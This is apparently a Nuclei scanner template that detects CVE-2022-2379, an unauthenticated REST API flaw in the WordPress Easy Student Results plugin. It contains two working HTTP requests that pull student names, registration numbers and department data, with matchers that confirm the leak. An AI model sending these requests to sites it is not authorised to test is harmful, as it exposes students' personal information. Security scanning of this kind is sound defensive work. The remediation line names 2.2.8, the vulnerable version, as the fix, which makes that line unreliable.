id: CVE-2022-2379

info:
  name: WordPress Easy Student Results <=2.2.8 - Improper Authorization
  author: theamanrawat
  severity: high
  description: |
    WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.
  impact: |
    An attacker can gain access to sensitive student information, potentially compromising their privacy and security.
  remediation: |
    Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0773ba24-212e-41d5-9ae0-1416ea2c9db6
    - https://wordpress.org/plugins/easy-student-results/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2379
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/soxoj/information-disclosure-writeups-and-pocs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2379
    cwe-id: CWE-862
    epss-score: 0.30309
    epss-percentile: 0.96788
    cpe: cpe:2.3:a:easy_student_results_project:easy_student_results:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: easy_student_results_project
    product: easy_student_results
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,easy-student-results,disclosure,wpscan,easy_student_results_project

http:
  - raw:
      - |
        GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"departments":'
          - 'batches":'
        condition: and

      - type: word
        part: body_2
        words:
          - 'meta_data'
          - '"name":"'
          - '"registration_no":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a004630440220484bf2eb3d8666fa2d14e6cdfedb8d07df3b5620a6d18c13885a9a7e7917273202204601688eba71100b2a81c083a8cfa528da14e77e1df480d476d8414d66d704c9:922c64590222798bb761d5b6d8e72950